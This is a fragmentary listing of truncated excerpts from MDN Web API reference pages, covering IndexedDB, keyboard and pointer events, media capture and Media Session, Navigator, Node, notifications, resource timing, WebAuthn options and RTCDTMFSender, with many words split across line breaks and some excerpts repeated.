...used a lot later on, for opening transactions and suchlike. db = dbopenrequest.result; }; specifications specification status co
mment indexed database api 2.0the definition of 'idbversionchangeevent' in that specification. ...
Basic concepts - Web APIs
web storage solutions, indexeddb follows a same-origin policy. so while you can access stored data within a domain, you cannot access data across different domains. indexeddb is an asynchronous api that can be used in most contexts, including web workers. it used to include a synchronous version also, for use in web workers, but this was removed from the spec due to lack of interest by the web co
mmunity. indexeddb used to have a competing spec, websql database, but the w3c deprecated it on november 18, 2010. while both indexeddb and websql are solutions for storage, they do not offer the same functionalities. websql database is a relational database access system, whereas indexeddb is an indexed table system. big concepts if you have assumptions from working with other types of databases...
...cts for quick searching, as well as sorted enumeration. keys can be binary objects. indexeddb is built on a transactional database model. everything you do in indexeddb always happens in the context of a transaction. the indexeddb api provides lots of objects that represent indexes, tables, cursors, and so on, but each of these is tied to a particular transaction. thus, you cannot execute co
mmands or open cursors outside of a transaction. transactions have a well-defined lifetime, so attempting to use a transaction after it has completed throws exceptions. also, transactions auto-co
mmit and cannot be co
mmitted manually. this transaction model is really useful when you consider what might happen if a user opened two instances of your web app in two different tabs simultaneously. with...
... you the status of the request. the result property is particularly magical, as it can be many different things, depending on how the request was generated (for example, an idbcursor instance, or the key for a value that you just inserted into the database). indexeddb uses dom events to notify you when results are available. dom events always have a type property (in indexeddb, it is most co
mmonly set to "success" or "error"). dom events also have a target property that indicates where the event is headed. in most cases, the target of an event is the idbrequest object that was generated as a result of doing some database operation. success events don't bubble up and they can't be canceled. error events, on the other hand, do bubble, and can be cancelled. this is quite important, as err...
KeyboardEvent - Web APIs
ver reason, not to be associated with that location. examples include alphanumeric keys on the standard pc 101 us keyboard, the numlock key, and the space bar. dom_key_location_left 0x01 the key is one which may exist in multiple locations on the keyboard and, in this instance, is on the left side of the keyboard. examples include the left control key, the left co
mmand key on a macintosh keyboard, or the left shift key. dom_key_location_right 0x02 the key is one which may exist in multiple positions on the keyboard and, in this case, is located on the right side of the keyboard. examples include the right shift key and the right alt key (option on a mac keyboard). dom_key_location_numpad 0x03 the key is lo...
... using one keyboard layout while typing text in a different language. keyboardevent.location read only returns a number representing the location of the key on the keyboard or other input device. a list of the constants identifying the locations is shown above in keyboard locations. keyboardevent.metakey read only returns a boolean that is true if the meta key (on mac keyboards, the ⌘ co
mmand key; on windows keyboards, the windows key (⊞)) was active when the key event was generated. keyboardevent.repeat read only returns a boolean that is true if the key is being held down such that it is automatically repeating. keyboardevent.shiftkey read only returns a boolean that is true if the shift key was active when the key event was generated. methods this interface also inher...
...ressed ${keyname}`); } }, false); document.addeventlistener('keyup', (event) => { const keyname = event.key; // as the user releases the ctrl key, the key is no longer active, // so event.ctrlkey is false. if (keyname === 'control') { alert('control key was released'); } }, false); </script> </head> <body> </body> </html> specifications specification status co
mment ui eventsthe definition of 'keyboardevent' in that specification. working draft the keyboardevent interface specification went through numerous draft versions, first under dom events level 2 where it was dropped as no consensus arose, then under dom events level 3. this led to the implementation of non-standard initialization methods, the early dom events level 2 ver...
LinearAccelerationSensor.LinearAccelerationSensor() - Web APIs
en, meaning the number of times per second that sensor.onreading will be called. a whole number or decimal may be used, the latter for frequencies less than a second. ...
...sor.onreading will be called. a whole number or decimal may be used, the latter for frequencies less than a second. the actual reading frequency depends on device hardware and consequently may be less than requested. ...
...nds on device hardware and consequently may be less than requested. referenceframe: either 'device' or 'screen'. the default is 'device'. ...
Magnetometer.Magnetometer() - Web APIs
en, meaning the number of times per second that sensor.onreading will be called. a whole number or decimal may be used, the latter for frequencies less than a second. ...
...sor.onreading will be called. a whole number or decimal may be used, the latter for frequencies less than a second. ...
...requency depends on device hardware and consequently may be less than requested. referenceframe: either 'device' or 'screen'. the default is 'device'. ...
MediaDevices.getUserMedia() - Web APIs
n(err) { console.log(err.name + ": " + err.message); }); // always check for errors at the end. using the new api in older browsers here's an example of using navigator.mediadevices.getusermedia(), with a polyfill to cope with older browsers. note that this polyfill does not correct for legacy differences in constraints syntax, which means constraints won't work well across browsers. it is reco
mmended to use the adapter.js polyfill instead, which does handle constraints. // older browsers might not implement mediadevices at all, so we set an empty object first if (navigator.mediadevices === undefined) { navigator.mediadevices = {}; } // some browsers partially implement mediadevices. we can't just assign an object // with getusermedia as it would overwrite existing properties. // here...
...e webrtc transmissions with bandwidth restrictions. var constraints = { video: { framerate: { ideal: 10, max: 15 } } }; front and back camera on mobile phones. ...
... back camera on mobile phones. ...
MediaSession.setActionHandler() - Web APIs
ut a single parameter: an object conforming to the mediasessionactiondetails dictionary, which provides both the action type (so the same function can handle multiple action types), as well as data needed in order to perform the action. media session actions a media session action's type is specified using a string from the mediasessionaction enumerated type. values each of the actions is a co
mmon media session control request. implement support for each of these in order to allow that type of action to be performed. the following strings identify the currently available types of media session action: nexttrack advances playback to the next track. pause pauses playback of the media. play begins (or resumes) playback of the media. previoustrack moves back to the previous track.
...of the media. play begins (or resumes) playback of the media. previoustrack moves back to the previous track. seekbackward seeks backward through the media from the current position. seekforward seeks forward from the current position through the media. seekto moves the playback position to the specified time within the media. skipad skips past the currently playing advertisement or co
mmercial. this action may or may not be available, depending on the platform and user agent, or may be disabled due to subscription level or other circumstances. stop halts playback entirely. examples adding action handlers this example implements seek forward and backward actions for an audio player by setting up the seekforward and seekbackward action handlers. let skiptime = 10; // time to...
... draft initial definition. ...
Media Session action types - Web APIs
to call the mediasession interface's setactionhandler() method to establish a handler for that action. the specific type of media session action to be handled on a mediasession is identified using a string from the mediasessionaction enumerated type. syntax a media session action's type is specified using a string from the mediasessionaction enumerated type. values each of the actions is a co
mmon media session control request. implement support for each of these in order to allow that type of action to be performed. the following strings identify the currently available types of media session action: nexttrack advances playback to the next track. pause pauses playback of the media. play begins (or resumes) playback of the media. previoustrack moves back to the previous track.
...essionactiondetails property seektime. if you intend to perform multiple seekto operations in rapid succession, you can also specify the mediasessionactiondetails property fastseek property with a value of true. this lets the browser know it can take steps to optimize repeated operations, and is likely to result in improved performance. skipad skips past the currently playing advertisement or co
mmercial. this action may or may not be available, depending on the platform and user agent, or may be disabled due to subscription level or other circumstances. stop halts playback entirely. description a media session action may be generated by any media session action source; these sources include anything from ui widgets within the browser itself to media control keys on the user's keyboard...
... draft initial definition. ...
MediaSessionActionDetails - Web APIs
property must be present and must be a floating-point value indicating the absolute time within the media to move the playback position to, where 0 indicates the beginning of the media. this property is not present for other action types. media action types a media session action's type is specified using a string from the mediasessionaction enumerated type. values each of the actions is a co
mmon media session control request. implement support for each of these in order to allow that type of action to be performed. the following strings identify the currently available types of media session action: nexttrack advances playback to the next track. pause pauses playback of the media. play begins (or resumes) playback of the media. previoustrack moves back to the previous track.
...essionactiondetails property seektime. if you intend to perform multiple seekto operations in rapid succession, you can also specify the mediasessionactiondetails property fastseek property with a value of true. this lets the browser know it can take steps to optimize repeated operations, and is likely to result in improved performance. skipad skips past the currently playing advertisement or co
mmercial. this action may or may not be available, depending on the platform and user agent, or may be disabled due to subscription level or other circumstances. stop halts playback entirely. description a media session action may be generated by any media session action source; these sources include anything from ui widgets within the browser itself to media control keys on the user's keyboard...
... draft initial definition. ...
MediaSource.endOfStream() - Web APIs
this can be used create a custom error handler related to media streams. for example, you might have a function that handles media chunk requests, separate from other network requests. when you make an xmlhttprequest call for a media chunk, and onabort or onerror triggers, you might want to call endofstream('network'), display a descriptive message in the ui, and maybe retry the network request i
mmediately or wait until the network is back up (via some kind of polling.) decode: terminates playback and signals that a decoding error has occured. this can be used to indicate that a parsing error has occured while fetching media data; maybe the data is corrupt, or is encoded using a codec that the browser doesn't know how to decode. return value undefined exceptions exceptio...
... ...
... ...
MediaStreamTrack - Web APIs
strained sent when the constraints specified for the track cause the track to be incompatible and therefore to not be used. also available through the onoverconstrained event handler property. unmute sent to the track when data becomes available again, ending the muted state. ...
...not be used. also available through the onoverconstrained event handler property. unmute sent to the track when data becomes available again, ending the muted state. also available through the onunmute event handler property. ...
... available through the onunmute event handler property. specifications specification status co
mment identity for webrtcthe definition of 'isolated tracks' in that specification. ...
MediaTrackConstraints.groupId - Web APIs
s makes it possible to use the group id to ensure that the audio and input devices are on the same headset by retrieving the group id of the input device and specifying it when asking for an output device, perhaps. however, the value of the groupid is determined by the source of the track's content, and there's no particular format mandated by the specification (although some kind of guid is reco
mmended). that means that a given track will only return one value for the groupid when you call getcapabilities(), and keep in mind that this value will change for each browsing session. because of this, there's no use for the group id when calling mediastreamtrack.applyconstraints(), since there is only one possible value, and you can't use it to ensure the same group is used across multiple brow...
... ...
...sible value, and you can't use it to ensure the same group is used across multiple browsing sessions when calling getusermedia(). example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status co
mment media capture and streamsthe definition of 'groupid' in that specification. candidate reco
mmendation initial specification. ...
MediaTrackSettings.sampleRate - Web APIs
rted by checking the value of mediatracksupportedconstraints.samplerate as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var samplerate = mediatracksettings.samplerate; value an integer value indicating how many samples each second of audio data includes. co
mmon values include 44,100 (standard cd audio), 48,000 (standard digital audio), 96,000 (co
mmonly used in audio mastering and post-production), and 192,000 (used for high-resolution audio in professional recording and mastering sessions). however, lower values are often used to reduce bandwidth requirements; 8,000 samples per second is adequate for comprehensible albeit imperfect human speech, and b...
... ...
... imperfect human speech, and both 11,025 fps and 22,050 fps are often used for low-bandwidth, reduced quality sound and music. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status co
mment media capture and streamsthe definition of 'samplerate' in that specification. candidate reco
mmendation initial specification. ...
MediaTrackSettings - Web APIs
the volume property, specifying the volume level of the track. this value will be between 0.0 (silent) to 1.0 (maximum supported volume). properties of video tracks aspectratio a double-precision floating point value indicating the current value of the aspectratio property, specified precisely to 10 decimal places. this is the width of the image in pixels divided by its height in pixels. co
mmon values include 1.3333333333 (for the classic television 4:3 "standard" aspect ratio, also used on tablets such as apple's ipad), 1.7777777778 (for the 16:9 high-definition widescreen aspect ratio), and 1.6 (for the 16:10 aspect ratio co
mmon among widescreen computers and tablets). facingmode a domstring indicating the current value of the facingmode property, specifying the direction the came...
... "environment" a camera facing away from the user (when the user is looking at the screen). ...
...am contains a single window selected by the user for sharing. logicalsurface a boolean value which, if true, indicates that the video contained in the stream's video track contains a background rendering context, rather than a user-visible one. this is false if the video being captured is coming from a foreground (user-visible) source. specifications specification status co
mment screen capturethe definition of 'mediatracksettings' in that specification. working draft initial definition ...
Media Session API - Web APIs
shows feature detection for the media session api. ...
...ect for the session, and adds event handlers for the user control actions: if ('mediasession' in navigator) { navigator.mediasession.metadata = new mediametadata({ title: 'unforgettable', artist: 'nat king cole', album: 'the ultimate collection (remastered)', artwork: [ { src: 'https://du
mmyimage.com/96x96', sizes: '96x96', type: 'image/png' }, { src: 'https://du
mmyimage.com/128x128', sizes: '128x128', type: 'image/png' }, { src: 'https://du
mmyimage.com/192x192', sizes: '192x192', type: 'image/png' }, { src: 'https://du
mmyimage.com/256x256', sizes: '256x256', type: 'image/png' }, { src: 'https://du
mmyimage.com/384x384', sizes: '384x384', type: 'image/png' }, { src: 'https://du
mmyimage.com/512x512', sizes: '512x512', type: 'image/png'...
... ...
Capabilities, constraints, and settings - Web APIs
rainable property supported by the browser and a value or range of values which are supported for each one of those properties. note: getcapabilities() hasn't been implemented yet by all major browsers. for the time being, you'll have to try to get what you need, and if you can't, decide what to do at that point. see firefox bug 1179084, for example. ...
...ave the default constraint sets, as strings. these strings are presented in editable <textarea>s, but this is the initial configuration of the stream. let videodefaultconstraintstring = '{\n "width": 320,\n "height": 240,\n "framerate": 30\n}'; let audiodefaultconstraintstring = '{\n "samplesize": 16,\n "channelcount": 2,\n "echocancellation": false\n}'; these defaults ask for a pretty co
mmon camera configuration, but don't insist on any property being of special importance. the browser should do its best to match these settings but will settle for anything it considers a close match. then we initialize the variables which will hold the mediatrackconstraints objects for the video and audio tracks, as well as the variables which will hold references to the video and audio tracks the...
...sage to a special logging <div> box under the video. function log(msg) { logelement.innerhtml += (msg + "<br>"); } function handleerror(reason) { log("error <code>" + reason.name + "</code> in constraint <code>" + reason.constraint + "</code>: " + reason.message); } result here you can see the complete example in action. specifications specification status co
mment media capture and streamsthe definition of 'constrainable pattern' in that specification. candidate reco
mmendation initial definition. ...
MouseEvent - Web APIs
mouseevent derives from uievent, which in turn derives from event. though the mouseevent.initmouseevent() method is kept for backward compatibility, creating of a mouseevent object should be done using the mouseevent() constructor. several more specific events are based on mouseevent, including wheelevent and dragevent. ...
... of its parents, uievent and event. mouseevent.getmodifierstate() returns the current state of the specified modifier key. see the keyboardevent.getmodifierstate() for details. mouseevent.initmouseevent() initializes the value of a mouseevent created. if the event has already being dispatched, this method does nothing. example this example demonstrates simulating a click (that is progra
mmatically generating a click event) on a checkbox using dom methods. html <p><label><input type="checkbox" id="checkbox"> checked</label> <p><button id="button">click me</button> javascript function simulateclick() { var evt = new mouseevent("click", { bubbles: true, cancelable: true, view: window }); var cb = document.getelementbyid("checkbox"); //element to click on var ca...
...ementbyid("checkbox"); //element to click on var canceled = !cb.dispatchevent(evt); if(canceled) { // a handler called preventdefault alert("canceled"); } else { // none of the handlers called preventdefault alert("not canceled"); } } document.getelementbyid("button").addeventlistener('click', simulateclick); result specifications specification status co
mment css object model (cssom) view modulethe definition of 'mouseevent' in that specification. working draft redefines mouseevent from long to double. this means that a pointerevent whose pointertype is mouse will be a double. pointer lockthe definition of 'mouseevent' in that specification. candidate reco
mmendation from document object model (dom) level 3 events s...
Navigator.registerProtocolHandler() - Web APIs
e https scheme. older browsers also supported http. title a human-readable title string for the handler. this will be displayed to the user, such as prompting “allow this site to handle [scheme] links?” or listing registered handlers in the browser’s settings. note: the title has been removed from the spec due to spoofing concerns, but all current browsers still require it. it is reco
mmended to always set the title, since browsers that support the updated spec most likely will be backwards-compatible and still accept the title (but not use it). exceptions securityerror the user agent blocked the registration. this might happen if: the registered scheme (protocol) is invalid, such as a scheme the browser handles itself (https:, about:, etc.) the handler url’s orig...
...stered. a custom scheme may be registered as long as: the custom scheme's name begins with web+ the custom scheme's name includes at least 1 letter after the web+ prefix the custom scheme has only lowercase ascii letters in its name. for example, web+burger, as shown in the example below. ...
...his script must be run from the same origin as the handler url (so any page at https://burgers.example.com), and the handler url must be http or https. the user will be notified that your code asked to register the protocol handler, so that they can decide whether or not to allow it. see the screenshot below for an example on google.co.uk: specifications specification status co
mment html living standardthe definition of 'registerprotocolhandler()' in that specification. living standard living standard ...
Navigator - Web APIs
n a significant value. navigatorplugins.plugins read only returns a pluginarray listing the plugins installed in the browser. navigatorid.product read only always returns 'gecko', on any browser. this property is kept only for compatibility purpose. navigator.serviceworker read only returns a serviceworkercontainer object, which provides access to registration, removal, upgrade, and co
mmunication with the serviceworker objects for the associated document. navigatorstorage.storage read only returns the singleton storagemanager object used for managing persistence permissions and estimating available storage on a site-by-site/app-by-app basis. navigatorid.useragent read only returns the user agent string for the current browser. navigator.xr read only returns xr object, ...
... returns mediasession object which can be used to provide metadata that can be used by the browser to present information about the currently-playing media to the user, such as in a global media controls ui. navigator.moznotification deprecated since gecko 22 ... navigator.wakelock read only returns a wakelock interface you can use to request screen wake locks and prevent screen from di
mming, turning off, or showing a screen saver. navigator.webkitnotification returns a notification object you can use to deliver notifications to the user from your web application. navigator.oscpu returns a string that represents the current operating system. navigator.productsub returns the build number of the current browser (e.g., "20060909"). navigator.securitypolicy returns an ...
...ns false. javascript taint/untaint functions removed in javascript 1.2. navigator.vibrate() causes vibration on devices with support for it. does nothing if vibration support isn't available. non-standard navigator.mozislocallyavailable() lets code check to see if the document at a given uri is available without using the network. specifications specification status co
mment html living standardthe definition of 'the navigator object' in that specification. living standard ...
NetworkInformation - Web APIs
the networkinformation interfaces cannot be instantiated. it is instead accessed through the connection property of the navigator interface. note: this feature is available in web workers. properties this interface also inherits properties of its parent, eventtarget. networkinformation.downlink read only returns the effective bandwidth estimate in megabits per second, rounded to the nearest multiple of 25 kilobits per seconds. ...
...ime and downlink values. networkinformation.rtt read only returns the estimated effective round-trip time of the current connection, rounded to the nearest multiple of 25 milliseconds. networkinformation.savedata read only returns true if the user has set a reduced data usage option on the user agent. networkinformation.type read only returns the type of connection a device is using to co
mmunicate with the network. it will be one of the following values: bluetooth cellular ethernet none wifi wimax other unknown event handlers networkinformation.onchange the event that's fired when connection information changes and the change is fired on this object. methods this interface also inherits methods of its parent, eventtarget. specifications spec...
... draft initial definition ...
Node.nodeName - Web APIs
the nodename read-only property returns the name of the current node as a string. syntax var str = node.nodename; value a domstring. ...
... the nodename read-only property returns the name of the current node as a string. syntax var str = node.nodename; value a domstring. ...
...in doms flagged as html documents. read more details on nodename case sensitivity in different browsers. note that the element.tagname property could have been used instead, since nodename has the same value as tagname for an element. bear in mind, however, that nodename will return "#text" for text nodes while tagname will return undefined. specifications specification status co
mment domthe definition of 'nodename' in that specification. living standard ...
Node - Web APIs
ject types to be used similarly and often interchangeably. as an abstract class, there is no such thing as a plain node object. all objects that implement node functionality are based on one of its subclasses. most notable are document, element, and documentfragment. in addition, every kind of dom node is represented by an interface based on node. these include attr, characterdata (which text, co
mment, and cdatasection are all based on), processinginstruction, documenttype, notation, entity, and entityreference. in some cases, a particular feature of the base node interface may not apply to one of its child interfaces; in that case, the inheriting node may return null or throw an exception, depending on circumstances. for example, attempting to add children to a node type that cannot have ...
...odetyperead only returns an unsigned short representing the type of the node. possible values are: name value element_node 1 attribute_node 2 text_node 3 cdata_section_node 4 entity_reference_node 5 entity_node 6 processing_instruction_node 7 co
mment_node 8 document_node 9 document_type_node 10 document_fragment_node 11 notation_node 12 node.nodevalue returns / sets the value of the current node. node.ownerdocumentread only returns the document that this node belongs to. if the node is itself a document, returns null. node.parentnoderead only returns a...
... living standard added the following methods: getrootnode() dom4the definition of 'node' in that specification. obsolete removed the following properties: attributes, namespaceuri, prefix, and localname. removed the following methods: issupported(), hasattributes(), getfeature(), setuserdata(), and getuserd...
NodeIterator.whatToShow - Web APIs
when creating a nodeiterator or treewalker with an attr node as its root; in this case, it means that the attribute node will appear in the first position of the iteration or traversal. since attributes are never children of other nodes, they do not appear when traversing over the document tree. nodefilter.show_cdata_section 8 shows cdatasection nodes. nodefilter.show_co
mment 128 shows co
mment nodes. nodefilter.show_document 256 shows document nodes. nodefilter.show_document_fragment 1024 shows documentfragment nodes. nodefilter.show_document_type 512 shows documenttype nodes. nodefilter.show_element 1 shows element nodes. nodefilter.show_entity 32 shows entity nodes. this is meaning...
... traversal. since entities are not part of the document tree, they do not appear when traversing over the document tree. nodefilter.show_processing_instruction 64 shows processinginstruction nodes. nodefilter.show_text 4 shows text nodes. ...
...nodefilter.show_text 4 shows text nodes. example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element + nodefilter.show_co
mment + nodefilter.show_text, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); if( (nodeiterator.whattoshow == nodefilter.show_all) || (nodeiterator.whattoshow % (nodefilter.show_co
mment*2)) >= nodefilter.show_co
mment) { // nodeiterator will show co
mments } specifications specification status co
mment domthe definition of 'nodeiterator.whattoshow' in that specification. living standard no change from document object model (dom) level 2 traversal and range specification. document object model (dom) level 2 traversal and range specifi...
Notification - Web APIs
methods these methods are available only on the notification object itself. notification.requestpermission() requests permission from the user to display notifications. instance methods these properties are available only on an instance of the notification object or through its prototype. the notification object also inherits from the eventtarget interface. notification.close() progra
mmatically closes a notification instance. examples assume this basic html: <button onclick="notifyme()">notify me!</button> it's possible to send a notification as follows — here we present a fairly verbose and complete set of code you could use if you wanted to first check whether notifications are supported, then check if permission has been granted for the current origin to send notificat...
...s page, as chrome and firefox no longer allow notification permissions to be requested from cross-origin <iframe>s, with other browsers to follow. to see a example in action, check out our to-do list example (also see the app running live.) note: in the above example we spawn notifications in response to a user gesture (clicking a button). ...
...fications in response to a user gesture (clicking a button). this is not only best practice — you should not be spa
mming users with notifications they didn't agree to — but going forward browsers will explicitly disallow notifications not triggered in response to a user gesture. firefox is already doing this from version 72, for example. ...
OffscreenCanvas - Web APIs
as> the following code will provide the rendering using an offscreencanvas as described above. var one = document.getelementbyid("one").getcontext("bitmaprenderer"); var two = document.getelementbyid("two").getcontext("bitmaprenderer"); var offscreen = new offscreencanvas(256, 256); var gl = offscreen.getcontext('webgl'); // ... some drawing for the first canvas using the gl context ... ...
...o").getcontext("bitmaprenderer"); var offscreen = new offscreencanvas(256, 256); var gl = offscreen.getcontext('webgl'); // ... some drawing for the first canvas using the gl context ... // co
mmit rendering to the first canvas var bitmapone = offscreen.transfertoimagebitmap(); one.transferfromimagebitmap(bitmapone); // ... some more drawing for the second canvas using the gl context ... ...
...e drawing using the gl context ... }; you can also use requestanimationframe in workers onmessage = function(evt) { const canvas = evt.data.canvas; const gl = canvas.getcontext("webgl"); function render(time) { // ... some drawing using the gl context ... requestanimationframe(render); } requestanimationframe(render); }; specifications specification status co
mment html living standardthe definition of 'offscreencanvas' in that specification. living standard ...
PaintWorklet - Web APIs
css.paintworklet.addmodule() the addmodule() method, inhertied from the worklet interface loads the module in the given javascript file and adds it to the current paintworklet. ...
... css.paintworklet.addmodule() the addmodule() method, inhertied from the worklet interface loads the module in the given javascript file and adds it to the current paintworklet. examples the following three examples go together to show creating, loading, and using a paintworklet. ...
...including the simplest way to provide a fallback if paintworklet isn't supported. <style> textarea { background-image: url(checkerboard); background-image: paint(checkerboard); } </style> <textarea></textarea> you can also use the @supports at-rule. @supports (background: paint(id)) { background-image: paint(checkerboard); } specifications specification status co
mment css painting api level 1the definition of 'paintworkletglobalscope' in that specification. working draft initial definition. ...
Path2D.addPath() - Web APIs
examples adding a path to an existing path this example adds one path to another. html <canvas id="canvas"></canvas> javascript first, we create two separate path2d objects, each of which contains a rectangle made using the rect() method. ...
... examples adding a path to an existing path this example adds one path to another. html <canvas id="canvas"></canvas> javascript first, we create two separate path2d objects, each of which contains a rectangle made using the rect() method. ...
... living standard initial defintion. ...
PerformanceResourceTiming.connectEnd - Web APIs
the timestamp value includes the time interval to establish the transport connection, as well as other time intervals such as ssl handshake and socks authentication. note: this feature is available in web workers. syntax resource.connectend; return value a domhighrestimestamp representing the time after a connection is established. example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
... ...
...ties[i] in perfentry; if (supported) { var value = perfentry[properties[i]]; console.log("... " + properties[i] + " = " + value); } else { console.log("... " + properties[i] + " = not supported"); } } } specifications specification status co
mment resource timing level 1the definition of 'connectend' in that specification. candidate reco
mmendation initial definition. ...
PerformanceResourceTiming.redirectEnd - Web APIs
the redirectend read-only property returns a timestamp i
mmediately after receiving the last byte of the response of the last redirect. when fetching a resource, if there are multiple http redirects, and any of the redirects have an origin that is different from the current document, and the timing allow check algorithm passes for each redirected resource, this property returns the time i
mmediately after receiving the last byte of the response of the last redirect; otherwise, zero is returned. note: this feature is available in web workers. syntax resource.redirectend; return value a timestamp i
mmediately after receiving the last byte of the response of the last redirect. example in the following example, the value of the *start and *end properties of all "resource" type events are ...
... ...
...ies[i] in perfentry; if (supported) { var value = perfentry[properties[i]]; console.log("... " + properties[i] + " = " + value); } else { console.log("... " + properties[i] + " = not supported"); } } } specifications specification status co
mment resource timing level 1the definition of 'redirectend' in that specification. candidate reco
mmendation initial definition. ...
PerformanceResourceTiming.requestStart - Web APIs
the requeststart read-only property returns a timestamp of the time i
mmediately before the browser starts requesting the resource from the server, cache, or local resource. if the transport connection fails and the browser retires the request, the value returned will be the start of the retry request. there is no end property for requeststart. note: this feature is available in web workers. syntax resource.requeststart; return value a domhighrestimestamp representing the time i
mmediately before the browser starts requesting the resource from the server example in the following example, the value of the *start and *end properties of all "resource" type events are logged. function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = pe...
... ...
...es[i] in perfentry; if (supported) { var value = perfentry[properties[i]]; console.log("... " + properties[i] + " = " + value); } else { console.log("... " + properties[i] + " = not supported"); } } } specifications specification status co
mment resource timing level 1the definition of 'requeststart' in that specification. candidate reco
mmendation initial definition. ...
Using Pointer Events - Web APIs
anceled touches if the user's finger wanders into browser ui, or the touch otherwise needs to be canceled, the pointercancel event is sent, and we call the handlecancel() function below. function handlecancel(evt) { log("pointercancel: id = " + evt.pointerid); var idx = ongoingtouchindexbyid(evt.pointerid); ongoingtouches.splice(idx, 1); // remove it; we're done } since the idea is to i
mmediately abort the touch, we simply remove it from the ongoing touch list without drawing a final line segment. convenience functions this example uses two convenience functions that should be looked at briefly to help make the rest of the code more clear. selecting a color for each touch in order to make each touch's drawing look different, the colorfortouch() function is used to pick a color...
... pointer eventsthe definition of 'pointerevent' in that specification. obsolete initial definition. ...
... pointer eventsthe definition of 'pointerevent' in that specification. obsolete initial definition. ...
Pointer events - Web APIs
r at least one button is depressed while hovering. active pointer any pointer input device that can produce events. a pointer is considered active if it can still produce further events. for example, a pen that is a down state is considered active because it can produce additional events when the pen is lifted or moved. digitizer a sensing device with a surface that can detect contact. most co
mmonly, the sensing device is a touch-enabled screen that can sense input from an input device such as a pen, stylus, or finger. some sensing devices can detect the close proximity of the input device, and the state is expressed as a hover following the mouse. hit test the process the browser uses to determine a target element for a pointer event. typically, this is determined by considering the p...
...mouseleave events are never prevented (even if the pointer is down). best practices here are some best practices to consider when using pointer events: minimize the amount of work performed in event handlers. add the event handlers to a specific target element (rather than the entire document or nodes higher up in the document tree). ...
... handlers to a specific target element (rather than the entire document or nodes higher up in the document tree). the target element (node) should be large enough to acco
mmodate the largest contact surface area (typically a finger touch). if the target area is too small, touching it could result in firing other events for adjacent elements. specifications specification status co
mment pointer events – level 3 editor's draft added new apis for getcoalescedevent and getpredictedevents, new pointerrawupdate event, additional touch-action property values pan-left, pan-right, pan-up, pan-down. pointer events – level 2 reco
mmendation adds haspointercapture method and clarifies more edge cases and dynamic scenarios. pointer events ...
PublicKeyCredential - Web APIs
it inherits from credential, and was created by the web authentication api extension to the credential management api. other interfaces that inherit from credential are passwordcredential and federatedcredential. note: this api is restricted to top-level contexts. use from within an <iframe> element will not have any effect. ...
... ...
... ...
PublicKeyCredentialCreationOptions.excludeCredentials - Web APIs
(publickeycredential.rawid). this identifier is generated during the creation of the publickeycredential instance. transports optional an array of strings describing the possible transports between the client and the authenticator. the value of the strings may be: "usb": the authenticator can be contacted via a removable usb link "nfc": the authenticator may be used over nfc (near field co
mmunication) "ble": the authenticator may be used over ble (bluetooth low energy) "internal": the authenticator is specifically bound to the client device (cannot be removed). if the authenticator already contains one of such a public key credential, the client will throw a domexception or asks the user if they want to create a new credential. examples var publickey = { excludecredenti...
... ...
... ...
PublicKeyCredentialRequestOptions.allowCredentials - Web APIs
(publickeycredential.rawid). this identifier is generated during the creation of the publickeycredential instance. transports optional an array of strings describing the possible transports between the client and the authenticator. the value of the strings may be: "usb": the authenticator can be contacted via a removable usb link "nfc": the authenticator may be used over nfc (near field co
mmunication) "ble": the authenticator may be used over ble (bluetooth low energy) "internal": the authenticator is specifically bound to the client device (cannot be removed). if the authenticator does not contain any of these public key credentials, the client will throw a domexception "notallowederror". examples var options = { allowcredentials: [ { transports: ["usb"], ...
... ...
... ...
RTCDTMFSender.insertDTMF() - Web APIs
f you specify a lower value, 30 ms will be used instead); the default is 70 ms. ...
... be used instead); the default is 70 ms. ...
... couldn't be sent because the track has been stopped, or is in a read-only or inactive state. invalidcharactererror one or more of the characters in tones is not valid dtmf. ...
RTCDTMFSender.ontonechange - Web APIs
ut a single parameter of type rtcdtmftonechangeevent, which describes the change. ...
...nechangeevent, which describes the change. ...
...ction; value a function which is called when a tonechange event is sent to the rtcdtmfsender, indicating that a dtmf tone has either started playing, or if all tones have finished playing. example tbd specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'ontonechange' in that specification. candidate reco
mmendation ...
RTCDTMFSender.toneBuffer - Web APIs
s a-d these characters represent the "a" through "d" keys which are part of the dtmf standard but not included on most telephones. these are not interpreted as digits. lower-case "a"-"d" automatically gets converted to upper-case. the pound/hash sign ("#") and the asterisk ("*") these correspond to the similarly-labeled keys which are typically on the bottom row of the telephone keypad. the co
mma (",") this character instructs the dialing process to pause for two seconds before sending the next character in the buffer. all other characters are unrecognized and will cause insertdtmf() to throw an invalidcharactererror exception. using tone buffer strings for example, if you're writing code to control a voicemail system by sending dtmf codes, you might use a string such as "*,1,5555...
...t use a string such as "*,1,5555". ...
...his example, we would send "*" to request access to the vm system, then, after a pause, send a "1" to start playback of voicemail messages, then after a pause, dial "5555" as a pin number to open the messages. settting the tone buffer to an empty string ("") cancels any pending dtmf codes. example tbd specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcdtmfsender.tonebuffer' in that specification. candidate reco
mmendation ...
RTCDataChannel: bufferedamountlow event - Web APIs
r is created for bufferedamountlow to refill the incoming data buffer any time its contents fall below 65536 bytes. ...
...efill the incoming data buffer any time its contents fall below 65536 bytes. ...
...er for bufferedamountlow using its event handler property, onbufferedamountlow: pc.onbufferedamountlow = ev => { if (source.position <= source.length) { dc.send(source.readfile(65536)); } } specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'bufferedamountlow' in that specification. candidate reco
mmendation ...
Range.setEnd() - Web APIs
exceptions exceptions are thrown as domexception objects of the following types: invalidnodetypeerror the node specified by endnode is a doctype node; range endpoints cannot be located inside a doctype node. indexsizeerror the value specified by endoffset is either greater than or equal to the length of the node or is less than zero. ...
... living standard no change. document object model (dom) level 2 traversal and range specificationthe definition of 'range.setend()' in that specification. ...
...ffset is the number of child nodes between the start of the endnode. example const range = document.createrange(); const endnode = document.getelementsbytagname('p').item(3); const endoffset = endnode.childnodes.length; range.setend(endnode, endoffset); setend() is co
mmonly used in conjunction with setstart() to fully configure a range. specifications specification status co
